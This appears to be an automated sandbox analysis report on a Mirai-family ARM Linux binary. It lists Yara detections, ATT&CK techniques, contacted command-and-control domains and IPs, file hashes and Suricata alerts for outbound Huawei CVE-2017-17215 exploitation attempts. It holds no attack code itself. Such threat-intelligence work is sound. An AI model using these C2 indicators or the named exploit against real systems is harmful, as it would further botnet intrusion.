Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5614, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5618, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5622, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5547, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5572, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: rsJtZBgpwG.elf, type: SAMPLE
Source: Yara match	File source: 5576.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5616.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5566.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5570.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5622.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5612.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5580.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5564.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5606.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5597.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5604.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5545.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5614.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5508.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5552.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5620.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5602.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5556.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5588.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5562.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5595.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5518.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5558.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5554.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5618.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5560.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5478.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5514.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5610.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5574.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5586.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5568.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5582.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5624.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5590.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5572.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5516.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5584.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5608.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5547.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5478, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5514, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5518, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5545, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5554, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5556, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5558, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5562, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5566, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5570, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5574, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5582, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5586, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5590, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5595, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5597, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5602, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5606, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5610, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5614, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5618, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5622, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5547, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rsJtZBgpwG.elf PID: 5572, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	1 Brute Force	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
rsJtZBgpwG.elf	63%	ReversingLabs	Linux.Trojan.Mirai
rsJtZBgpwG.elf	100%	Avira	EXP/ELF.Mirai.W

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bigbootybots.libre	94.156.69.151	true	false		unknown
d00mstoleyourboat.pirate	185.196.8.7	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	rsJtZBgpwG.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	rsJtZBgpwG.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
210.185.1.66	unknown	New Zealand	4770	ICONZ-ASICONZLtdNZ	false
46.111.236.13	unknown	Russian Federation	2854	ROSPRINT-ASRU	false
165.57.118.6	unknown	Zambia	37154	ZAMTELZM	false
103.128.198.80	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
113.142.105.5	unknown	China	134768	CHINANET-SHAANXI-CLOUD-BASECHINANETSHAANXIprovinceCloud	false
14.180.57.19	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
156.146.251.176	unknown	United States	1448	UNITED-BROADBANDUS	false
162.164.33.79	unknown	United States	21928	T-MOBILE-AS21928US	false
137.250.177.42	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
7.222.19.21	unknown	United States	3356	LEVEL3US	false
189.181.107.122	unknown	Mexico	8151	UninetSAdeCVMX	false
34.140.3.57	unknown	United States	2686	ATGS-MMD-ASUS	false
68.121.206.49	unknown	United States	7018	ATT-INTERNET4US	false
178.253.26.126	unknown	Iran (ISLAMIC Republic Of)	42337	RESPINA-ASIR	false
121.85.133.46	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
143.151.198.103	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
16.16.49.108	unknown	United States	unknown	unknown	false
192.78.202.7	unknown	United States	46446	CALTELCOMUS	false
67.61.17.61	unknown	United States	11492	CABLEONEUS	false
41.102.161.58	unknown	Algeria	36947	ALGTEL-ASDZ	false
210.195.145.38	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
183.71.182.50	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
133.132.251.102	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
191.160.73.94	unknown	Brazil	26615	TIMSABR	false
147.73.81.117	unknown	United States	5050	PSC-EXTUS	false
170.172.112.37	unknown	United States	11685	HNBCOL-ASUS	false
51.236.40.80	unknown	United States	2686	ATGS-MMD-ASUS	false
156.191.172.99	unknown	Egypt	36992	ETISALAT-MISREG	false
85.218.11.23	unknown	Switzerland	34781	SIL-CITYCABLE-ASCH	false
197.73.219.47	unknown	South Africa	16637	MTNNS-ASZA	false
167.157.182.80	unknown	Bolivia	6568	EntelSA-EntelNetBO	false
43.50.78.1	unknown	Japan	4249	LILLY-ASUS	false
190.232.88.110	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
217.43.72.49	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
15.178.34.35	unknown	United States	71	HP-INTERNET-ASUS	false
207.223.125.21	unknown	United States	33606	TEKLINKSUS	false
24.205.123.47	unknown	United States	20115	CHARTER-20115US	false
126.97.241.50	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
0.234.31.106	unknown	unknown	unknown	unknown	false
172.82.238.63	unknown	United States	15224	OMNITUREUS	false
156.194.37.8	unknown	Egypt	8452	TE-ASTE-ASEG	false
54.243.247.84	unknown	United States	14618	AMAZON-AESUS	false
0.123.89.1	unknown	unknown	unknown	unknown	false
41.240.109.228	unknown	Sudan	36998	SDN-MOBITELSD	false
28.200.234.73	unknown	United States	7922	COMCAST-7922US	false
197.213.176.65	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
197.239.164.199	unknown	South Africa	36982	UCTZA	false
66.125.28.67	unknown	United States	7132	SBIS-ASUS	false
161.69.90.29	unknown	United States	7754	MCAFEEUS	false
197.57.39.63	unknown	Egypt	8452	TE-ASTE-ASEG	false
88.189.158.43	unknown	France	12322	PROXADFR	false
27.217.34.6	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
215.186.182.55	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
137.15.205.127	unknown	Canada	577	BACOMCA	false
179.205.145.34	unknown	Brazil	26615	TIMSABR	false
41.35.57.61	unknown	Egypt	8452	TE-ASTE-ASEG	false
32.211.138.52	unknown	United States	46690	SNET-FCCUS	false
182.70.72.89	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
58.135.118.86	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
27.77.16.94	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
200.48.185.38	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
140.216.248.79	unknown	United States	22284	AS22284-DOI-OPSUS	false
179.243.75.54	unknown	Brazil	22085	ClaroSABR	false
74.171.241.98	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
199.227.215.48	unknown	United States	26831	CAMERON-COMMUNICATIONSUS	false
23.107.217.13	unknown	United States	395954	LEASEWEB-USA-LAX-11US	false
120.83.250.20	unknown	China	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
90.231.102.0	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
26.182.191.48	unknown	United States	7922	COMCAST-7922US	false
105.88.195.57	unknown	Egypt	36992	ETISALAT-MISREG	false
13.80.150.66	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
197.143.173.243	unknown	Algeria	36891	ICOSNET-ASDZ	false
37.6.132.37	unknown	Greece	25472	WIND-ASGR	false
64.27.148.33	unknown	United States	16399	FIRSTCOMM-AS2US	false
1.216.113.49	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
176.186.188.22	unknown	France	5410	BOUYGTEL-ISPFR	false
195.122.185.82	unknown	United Kingdom	3356	LEVEL3US	false
40.106.111.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
246.69.48.65	unknown	Reserved	unknown	unknown	false
58.6.101.96	unknown	Australia	4739	INTERNODE-ASInternodePtyLtdAU	false
197.249.194.174	unknown	Mozambique	25139	TVCABO-ASEU	false
35.101.152.0	unknown	United States	237	MERIT-AS-14US	false
49.73.137.94	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.173.121.5	unknown	Egypt	36992	ETISALAT-MISREG	false
197.116.147.70	unknown	Algeria	36947	ALGTEL-ASDZ	false
22.171.127.93	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
81.6.84.43	unknown	Turkey	15897	VODAFONETURKEYTR	false
51.122.46.40	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
194.132.75.41	unknown	Sweden	43948	GLESYS-ASSE	false
171.166.10.18	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
41.29.171.1	unknown	South Africa	29975	VODACOM-ZA	false
145.175.18.81	unknown	Netherlands	59524	KPN-IAASNL	false
59.142.231.12	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
41.233.34.161	unknown	Egypt	8452	TE-ASTE-ASEG	false
143.53.105.82	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
13.122.156.105	unknown	United States	16509	AMAZON-02US	false
125.59.241.27	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
105.175.93.65	unknown	Angola	37119	unitel-ASAO	false
29.170.104.62	unknown	United States	7922	COMCAST-7922US	false
198.210.81.45	unknown	United States	14155	RURAL-TELEPHONE-SVCCOUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
7.222.19.21	SecuriteInfo.com.Linux.Mirai.4306.18834.31810.elf	Get hash	malicious	Unknown	Browse
14.180.57.19	wg2vKIF0SU.elf	Get hash	malicious	Gafgyt	Browse
14.180.57.19	armv5l.elf	Get hash	malicious	Unknown	Browse
156.146.251.176	G7b98y6IWj.elf	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
	QVBaEaJnRM	Get hash	malicious	Unknown	Browse
68.121.206.49	x86	Get hash	malicious	Unknown	Browse
178.253.26.126	QtNnZoNz75	Get hash	malicious	Mirai	Browse
121.85.133.46	9W8C6mXhAB.elf	Get hash	malicious	Mirai	Browse
121.85.133.46	skid.mips.elf	Get hash	malicious	Mirai	Browse
165.57.118.6	x86	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROSPRINT-ASRU	sora.arm.elf	Get hash	malicious	Mirai	Browse	194.84.41.145
	mQeV8nCFUa.elf	Get hash	malicious	Mirai	Browse	212.176.121.214
	IHhk766U3Z.elf	Get hash	malicious	Unknown	Browse	195.151.118.157
	jew.arm.elf	Get hash	malicious	Unknown	Browse	46.111.236.31
	xealoMIbPy.elf	Get hash	malicious	Unknown	Browse	46.111.236.92
	nzKl7TpAyk.elf	Get hash	malicious	Unknown	Browse	194.84.5.126
	SjLTg00G6b.elf	Get hash	malicious	Mirai	Browse	212.176.60.254
	uePbJ2sC1D.elf	Get hash	malicious	Mirai	Browse	194.84.41.179
	YvPa06OoUd.elf	Get hash	malicious	Mirai	Browse	194.84.41.195
	TV7RLVOmvl.elf	Get hash	malicious	Mirai	Browse	194.84.41.139
ICONZ-ASICONZLtdNZ	r2ye3b3z8R.elf	Get hash	malicious	Mirai	Browse	210.48.106.133
	ZXZMRvEA9M.elf	Get hash	malicious	Mirai	Browse	210.185.1.79
	BubsjPHKSZ.elf	Get hash	malicious	Unknown	Browse	210.48.124.159
	tw7rloKDkG.elf	Get hash	malicious	Mirai	Browse	210.185.1.60
	G4nRIeXFFj.elf	Get hash	malicious	Mirai	Browse	202.37.226.107
	RyN0nKQFMD.elf	Get hash	malicious	Mirai	Browse	210.185.49.224
	XXEEnTN5Xb.elf	Get hash	malicious	Mirai, Okiru	Browse	202.37.226.108
	vd3Wm4qqIh.elf	Get hash	malicious	Mirai	Browse	202.37.226.109
	GpqAAlRMz4.elf	Get hash	malicious	Moobot	Browse	210.185.1.67
	zpIXM3FqqH.elf	Get hash	malicious	Mirai	Browse	210.48.124.141
ZAMTELZM	firmware.powerpc.elf	Get hash	malicious	Unknown	Browse	165.61.123.0
	botx.x86.elf	Get hash	malicious	Mirai	Browse	165.63.219.233
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	165.62.190.126
	CSrnw4L6fz.elf	Get hash	malicious	Unknown	Browse	165.62.106.20
	mips.elf	Get hash	malicious	Mirai	Browse	165.57.168.188
	watchdog.elf	Get hash	malicious	Mirai	Browse	165.60.83.46
	ikFn0h3xhF.elf	Get hash	malicious	Mirai	Browse	165.57.121.183
	Lu4qSit8YR.elf	Get hash	malicious	Unknown	Browse	165.57.121.112
	lQC7IiMNX1.elf	Get hash	malicious	Mirai	Browse	165.59.82.141
	XNP1BNVNqi.elf	Get hash	malicious	Mirai	Browse	165.57.168.116

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.891133279504495
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	rsJtZBgpwG.elf
File size:	108'756 bytes
MD5:	469dd565fe60c14e676121d1740489e7
SHA1:	f5c5a980b1dae4d26eddf24e08b7366bd5eba344
SHA256:	3d5157fd9d1cb3b536d4bb6ca83084e6239b58ec884cb5442e1773310fada471
SHA512:	cf912225138e2f6e82a8c6c6cae3094cab7c6ff34d631a17c04577ac6345d15fdfffa9eebfbcf1203afcaf5a85889ea3e8f0deb5ecb2345e0b02b701c5ca9f89
SSDEEP:	1536:nI8D1PBa5NinhUv8k3feixWDCfB1PIty3sjg7YL8EYngvTCg8U/G8Vi8:nI8DcilOkqzIw8jg8d54U/G888
TLSH:	DCB3C688F994522ED7D176BBFA1843CE77390B98F7D772154E3106A123C8B60AA7B124
File Content Preview:	.ELF...a..........(.........4...D.......4. ...(......................z...z...............z...z...z..T,...S..........Q.td..................................-...L."....R..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	108356
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x14a60	0x0	0x6	AX	16
.fini	PROGBITS	0x1cb10	0x14b10	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1cb24	0x14b24	0x2f88	0x0	0x2	A	4
.ctors	PROGBITS	0x27ab0	0x17ab0	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x27ab8	0x17ab8	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x27ac4	0x17ac4	0x2c40	0x0	0x3	WA	4
.bss	NOBITS	0x2a704	0x1a704	0x27a0	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1a704	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x17aac	0x17aac	6.0844	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x17ab0	0x27ab0	0x27ab0	0x2c54	0x53f4	2.7412	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T14:14:11.768390+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53682	41.75.87.189	37215	TCP
2024-09-25T14:14:12.157159+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59754	197.8.24.240	37215	TCP
2024-09-25T14:14:12.828118+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51866	197.8.254.42	37215	TCP
2024-09-25T14:14:12.828121+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49178	197.7.143.124	37215	TCP
2024-09-25T14:14:13.917926+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45956	156.236.134.70	37215	TCP
2024-09-25T14:14:14.320173+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60842	156.231.58.213	37215	TCP
2024-09-25T14:14:14.363315+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52200	197.128.136.140	37215	TCP
2024-09-25T14:14:14.487523+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56458	197.232.26.242	37215	TCP
2024-09-25T14:14:14.496969+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57780	156.0.246.2	37215	TCP
2024-09-25T14:14:14.586231+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35076	41.75.134.209	37215	TCP
2024-09-25T14:14:15.337100+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53922	197.7.86.235	37215	TCP
2024-09-25T14:14:16.790048+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46854	156.118.30.32	37215	TCP
2024-09-25T14:14:16.790052+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37168	41.33.63.180	37215	TCP
2024-09-25T14:14:16.790057+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35606	156.156.225.97	37215	TCP
2024-09-25T14:14:16.790089+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52240	41.214.69.178	37215	TCP
2024-09-25T14:14:16.794038+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44234	156.90.145.103	37215	TCP
2024-09-25T14:14:19.027543+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47632	156.73.176.14	37215	TCP
2024-09-25T14:14:21.732345+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41636	156.73.31.180	37215	TCP
2024-09-25T14:14:21.903516+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38828	41.174.94.226	37215	TCP
2024-09-25T14:14:22.353807+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56872	156.212.237.154	37215	TCP
2024-09-25T14:14:22.353807+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59528	156.54.182.52	37215	TCP
2024-09-25T14:14:22.357807+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34266	197.58.17.124	37215	TCP
2024-09-25T14:14:22.357807+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46878	41.88.166.171	37215	TCP
2024-09-25T14:14:22.357807+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57426	156.251.233.185	37215	TCP
